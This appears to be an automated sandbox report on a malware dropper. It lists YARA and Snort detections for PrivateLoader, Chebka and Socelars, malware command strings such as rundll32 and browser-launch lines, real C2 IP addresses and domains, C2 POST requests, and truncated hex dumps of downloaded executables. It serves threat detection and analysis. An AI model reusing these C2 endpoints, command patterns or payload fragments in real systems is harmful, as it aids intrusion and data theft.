40.2.svchost.exe.1455df70000.0.raw.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
40.2.svchost.exe.1455df70000.0.raw.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
39.2.svchost.exe.1de9cce0000.0.raw.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.2.svchost.exe.1de9cce0000.0.raw.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.2.svchost.exe.1de9cce0000.0.raw.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
39.2.svchost.exe.1de9cce0000.0.raw.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
39.0.svchost.exe.1de9cce0000.0.raw.unpack	SUSP_XORed_MSDOS_Stub_Message	Detects suspicious XORed MSDOS stub message	Florian Roth	0x6646e:$xo1: \x19%$>m=?"*?, m.,##"9m/(m?8#m$#m\x09\x02\x1Em ")(
39.0.svchost.exe.1de9cce0000.0.raw.unpack	JoeSecurity_ManusCrypt	Yara detected ManusCrypt	Joe Security
39.0.svchost.exe.1de9cce0000.0.raw.unpack	MALWARE_Win_Chebka	Detects Chebka	ditekSHen	0x59e08:$s1: -k netsvcs 0x595c8:$s3: Mozilla/4.0 (compatible) 0x588f0:$s4: _kasssperskdy 0x57f88:$s5: winssyslog 0x59b50:$s6: LoaderDll%d 0x57e60:$s7: cmd.exe /c rundll32.exe shell32.dll, 0x57a90:$s8: cmd.exe /c start chrome.exe 0x57bf0:$s8: cmd.exe /c start msedge.exe 0x57dd0:$s8: cmd.exe /c start firefox.exe 0x682f0:$f1: .?AVCHVncManager@@ 0x686d8:$f2: .?AVCNetstatManager@@ 0x68748:$f3: .?AVCTcpAgentListener@@ 0x685c8:$f4: .?AVIUdpClientListener@@ 0x68978:$f5: .?AVCShellManager@@ 0x68928:$f6: .?AVCScreenSpy@@
39.0.svchost.exe.1de9cce0000.0.raw.unpack	Windows_Trojan_Generic_a681f24a	unknown	unknown	0x588f0:$a: _kasssperskdy 0x5981e:$c: {SDTB8HQ9-96HV-S78H-Z3GI-J7UCTY784HHC}
Click to see the 64 entries

Snort Signatures

ET TROJAN Win32/Spy.Socelars.S CnC Activity M3 - Source IP: 192.168.2.6 - Destination IP: 116.203.105.117

Timestamp:	192.168.2.6116.203.105.11749758802034192 09/02/22-14:02:19.491810
SID:	2034192
Source Port:	49758
Destination Port:	80
Protocol:	TCP
Classtype:	A Network Trojan was detected

Binary string: D:\Projects\WinRAR\sfx\build\sfxzip32\Release\sfxzip.pdb source: fJe9em23BB.exe, 00000000.00000003.274524788.0000000005174000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.276474447.00000000041AB000.00000004.00000001.00020000.00000000.sdmp, fJe9em23BB.exe, 00000000.00000003.274896866.00000000052D1000.00000004.00000001.00020000.00000000.sdmp, 0RWCjOTmPGy8vyz30vD2T7Gp.exe, 0000000E.00000000.337801717.0000000000888000.00000002.00000001.01000000.00000009.sdmp, 0RWCjOTmPGy8vyz30vD2T7Gp.exe, 0000000E.00000002.473142055.0000000000888000.00000002.00000001.01000000.00000009.sdmp

Spreading

Yara detected PrivateLoader

Source: Yara match

File source: 00000000.00000003.254312255.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft\Internet Explorer\Quick Launch\desktop.ini	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming	Jump to behavior
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File opened: C:\Users\user\AppData\Roaming\Microsoft	Jump to behavior

Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00862AF9 FindFirstFileW,FindFirstFileW,GetLastError,FindNextFileW,GetLastError,	14_2_00862AF9
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_00871260 SendDlgItemMessageW,EndDialog,GetDlgItem,SetFocus,SetDlgItemTextW,SendDlgItemMessageW,FindFirstFileW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,FindClose,_swprintf,SetDlgItemTextW,SendDlgItemMessageW,FileTimeToLocalFileTime,FileTimeToSystemTime,GetTimeFormatW,GetDateFormatW,_swprintf,SetDlgItemTextW,_swprintf,SetDlgItemTextW,	14_2_00871260
Source: C:\Users\user\Pictures\Minor Policy\0RWCjOTmPGy8vyz30vD2T7Gp.exe	Code function: 14_2_0087FCC8 FindFirstFileExA,	14_2_0087FCC8
Source: C:\Users\user\Pictures\Minor Policy\ze5tCopHgrlItmsTQGIZcUK1.exe	Code function: 16_2_009BA931 FindFirstFileExW,	16_2_009BA931

Networking

System process connects to network (likely due to code injection or exploit)

Source: C:\Windows\System32\svchost.exe

Domain query: g.agametog.com

Snort IDS alert for network traffic

Source: Traffic

Snort IDS: 2034192 ET TROJAN Win32/Spy.Socelars.S CnC Activity M3 192.168.2.6:49758 -> 116.203.105.117:80

Yara detected PrivateLoader

Source: Yara match

File source: 00000000.00000003.254312255.0000000002FB0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

May check the online IP address of the machine

Source: C:\Users\user\Desktop\fJe9em23BB.exe	DNS query: name: ipinfo.io
Source: C:\Users\user\Desktop\fJe9em23BB.exe	DNS query: name: ipinfo.io
Source: C:\Users\user\Desktop\fJe9em23BB.exe	DNS query: name: iplogger.org
Source: C:\Users\user\Pictures\Minor Policy\VSVo7xFGZNVBCHvpzHHk7X6w.exe	DNS query: name: ip-api.com

Creates HTML files with .exe extension (expired dropper behavior)

Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: xfeVOSjDbkaAGwyli9NSQhEV.exe.0.dr
Source: C:\Users\user\Desktop\fJe9em23BB.exe	File created: FCqfAFGkQuzevXsCC7ANUoxx.exe.0.dr

Found C&C like URL pattern

Source: global traffic	HTTP traffic detected: POST /base/api/getData.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 133Host: 116.203.105.117
Source: global traffic	HTTP traffic detected: POST /base/api/getData.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 133Host: 116.203.105.117
Source: global traffic	HTTP traffic detected: POST /base/api/getData.php HTTP/1.1Connection: Keep-AliveContent-Type: application/x-www-form-urlencodedUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/74.0.3729.169 Safari/537.36Content-Length: 433Host: 116.203.105.117

Yara detected Generic Downloader

Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.5100000.5.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29023e6.1.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.29032ce.2.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30000.3.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.2.aJLVqZit29LEEhRpCpbwWX8O.exe.2a30ee8.4.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 18.3.aJLVqZit29LEEhRpCpbwWX8O.exe.b329b8.0.raw.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000012.00000002.851512502.0000000005100000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000012.00000002.820187744.0000000002A30000.00000004.08000000.00040000.00000000.sdmp, type: MEMORY

C2 URLs / IPs found in malware configuration

Source: Malware configuration extractor

IPs: 208.67.104.97

Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKDate: Fri, 02 Sep 2022 12:00:09 GMTServer: Apache/2.4.29 (Ubuntu)Last-Modified: Tue, 02 Aug 2022 15:27:43 GMTETag: "64200-5e543c1f43872"Accept-Ranges: bytesContent-Length: 410112Content-Type: application/x-msdos-programData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 18 85 07 48 5c e4 69 1b 5c e4 69 1b 5c e4 69 1b 8f 96 6a 1a 56 e4 69 1b 8f 96 6c 1a c7 e4 69 1b 0e 91 6d 1a 4d e4 69 1b 0e 91 6a 1a 4a e4 69 1b 0e 91 6c 1a 77 e4 69 1b 8f 96 6d 1a 49 e4 69 1b 8f 96 68 1a 55 e4 69 1b 5c e4 68 1b 20 e4 69 1b 9d 91 60 1a 59 e4 69 1b 9d 91 96 1b 5d e4 69 1b 9d 91 6b 1a 5d e4 69 1b 52 69 63 68 5c e4 69 1b 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 05 00 53 11 e4 62 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 0e 1d 00 5a 05 00 00 f0 00 00 00 00 00 00 f4 c9 03 00 00 10 00 00 00 70 05 00 00 00 40 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 80 06 00 00 04 00 00 00 00 00 00 02 00 40 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 38 12 06 00 64 00 00 00 00 40 06 00 e8 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 06 00 e0 26 00 00 5c e3 05 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 98 e3 05 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 05 00 bc 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 2f 59 05 00 00 10 00 00 00 5a 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 46 ac 00 00 00 70 05 00 00 ae 00 00 00 5e 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 ec 17 00 00 00 20 06 00 00 0c 00 00 00 0c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 e8 01 00 00 00 40 06 00 00 02 00 00 00 18 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 e0 26 00 00 00 50 06 00 00 28 00 00 00 1a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 0
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.2Date: Fri, 02 Sep 2022 12:02:20 GMTContent-Type: application/octet-streamContent-Length: 3210240Last-Modified: Wed, 31 Aug 2022 10:27:59 GMTConnection: keep-aliveETag: "630f37af-30fc00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 77 3b 0e 09 00 00 00 00 00 00 00 00 e0 00 02 01 0b 01 08 00 00 aa 07 00 00 58 01 00 00 00 00 00 70 43 4e 00 00 20 00 00 00 e0 07 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 04 00 00 00 00 00 00 00 00 e0 78 00 00 04 00 00 a0 b8 31 00 02 00 60 80 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 3a 60 09 00 50 00 00 00 00 e0 07 00 e1 55 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 20 20 20 20 20 20 20 00 c0 07 00 00 20 00 00 00 10 05 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 73 72 63 00 00 00 e1 55 01 00 00 e0 07 00 00 56 01 00 00 14 05 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 20 20 20 20 20 20 20 20 0c 00 00 00 00 40 09 00 00 02 00 00 00 6a 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 2e 69 64 61 74 61 00 00 00 20 00 00 00 60 09 00 00 02 00 00 00 6c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 74 68 65 6d 69 64 61 00 c0 44 00 00 80 09 00 00 00 00 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 e0 2e 62 6f 6f 74 00 00 00 00 8e 2a 00 00 40 4e 00 00 8e 2a 00 00 6e 06 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.14.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:02:22 GMTContent-Type: application/octet-streamContent-Length: 3949568Last-Modified: Fri, 02 Sep 2022 02:46:11 GMTConnection: keep-aliveETag: "63116e73-3c4400"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 64 86 08 00 5c 6e 11 63 00 00 00 00 00 00 00 00 f0 00 23 00 0b 02 0e 1d 00 b8 0d 00 00 9a 04 00 00 00 00 00 18 c7 54 00 00 10 00 00 00 00 00 40 01 00 00 00 00 10 00 00 00 02 00 00 06 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 20 6a 00 00 04 00 00 00 00 00 00 02 00 20 80 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 20 63 38 00 a0 00 00 00 00 10 6a 00 d5 01 00 00 90 85 69 00 e4 87 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 a8 3b 2f 00 30 00 00 00 50 84 69 00 38 01 00 00 00 00 00 00 00 00 00 00 00 e0 2e 00 d0 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 d0 b7 0d 00 00 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 7c 56 03 00 00 d0 0d 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 94 96 00 00 00 30 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 70 64 61 74 61 00 00 88 83 00 00 00 d0 11 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 5f 52 44 41 54 41 00 00 f4 00 00 00 00 60 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 76 6d 70 30 00 00 00 7c 5f 1b 00 00 70 12 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 60 2e 76 6d 70 31 00 00 00 74 3d 3c 00 00 d0 2d 00 00 3e 3c 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 60 00 00 68 2e 72 73 72 63 00 00 00 d5 01 00 00 00 10 6a 00 00 02 00 00 00 42 3c 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:03:31 GMTContent-Type: application/octet-streamContent-Length: 2042296Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:48 GMTETag: "62543db4-1f29b8"Accept-Ranges: bytesData Raw: 4d 5a 78 00 01 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 78 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 24 00 00 50 45 00 00 4c 01 06 00 f6 f1 39 62 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 00 00 e0 19 00 00 26 05 00 00 00 00 00 d0 01 15 00 00 10 00 00 00 00 00 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 01 00 00 00 00 00 06 00 01 00 00 00 00 00 00 60 1f 00 00 04 00 00 fd d1 1f 00 02 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 f8 21 1d 00 5c 9d 00 00 54 bf 1d 00 40 01 00 00 00 40 1e 00 78 03 00 00 00 00 00 00 00 00 00 00 00 0a 1f 00 b8 1f 00 00 00 50 1e 00 68 0a 01 00 68 fd 1c 00 1c 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 f0 19 00 a0 00 00 00 00 00 00 00 00 00 00 00 f0 c4 1d 00 5c 04 00 00 94 21 1d 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 69 de 19 00 00 10 00 00 00 e0 19 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 e4 e9 03 00 00 f0 19 00 00 ea 03 00 00 e4 19 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 14 4e 00 00 00 e0 1d 00 00 2a 00 00 00 ce 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 30 30 63 66 67 00 00 04 00 00 00 00 30 1e 00 00 02 00 00 00 f8 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 73 72 63 00 00 00 78 03 00 00 00 40 1e 00 00 04 00 00 00 fa 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 72 65 6c 6f 63 00 00 68 0a 01 00 00 50 1e 00 00 0c 01 00 00 fe 1d 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 42 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00
Source: global traffic	HTTP traffic detected: HTTP/1.1 200 OKServer: nginx/1.18.0 (Ubuntu)Date: Fri, 02 Sep 2022 12:03:35 GMTContent-Type: application/octet-streamContent-Length: 449280Connection: keep-aliveLast-Modified: Mon, 11 Apr 2022 14:39:42 GMTETag: "62543dae-6db00"Accept-Ranges: bytesData Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 d9 93 31 43 9d f2 5f 10 9d f2 5f 10 9d f2 5f 10 29 6e b0 10 9f f2 5f 10 94 8a cc 10 8b f2 5f 10 9d f2 5e 10 22 f2 5f 10 cf 9a 5e 11 9e f2 5f 10 cf 9a 5c 11 95 f2 5f 10 cf 9a 5b 11 d3 f2 5f 10 cf 9a 5a 11 d1 f2 5f 10 cf 9a 5f 11 9c f2 5f 10 cf 9a a0 10 9c f2 5f 10 cf 9a 5d 11 9c f2 5f 10 52 69 63 68 9d f2 5f 10 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 9b 28 c1 5b 00 00 00 00 00 00 00 00 e0 00 22 21 0b 01 0e 0f 00 28 06 00 00 82 00 00 00 00 00 00 60 d9 03 00 00 10 00 00 00 40 06 00 00 00 00 10 00 10 00 00 00 02 00 00 06 00 00 00 0a 00 00 00 06 00 00 00 00 00 00 00 00 f0 06 00 00 04 00 00 1f 84 07 00 03 00 40 41 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 10 67 04 00 82 cf 01 00 e8 72 06 00 18 01 00 00 00 a0 06 00 f0 03 00 00 00 00 00 00 00 00 00 00 00 9c 06 00 00 3f 00 00 00 b0 06 00 ac 3d 00 00 60 78 00 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b8 77 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 70 06 00 e4 02 00 00 c0 63 04 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 92 26 06 00 00 10 00 00 00 28 06 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 64 61 74 61 00 00 00 48 29 00 00 00 40 06 00 00 18 00 00 00 2c 06 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 69 64 61 74 61 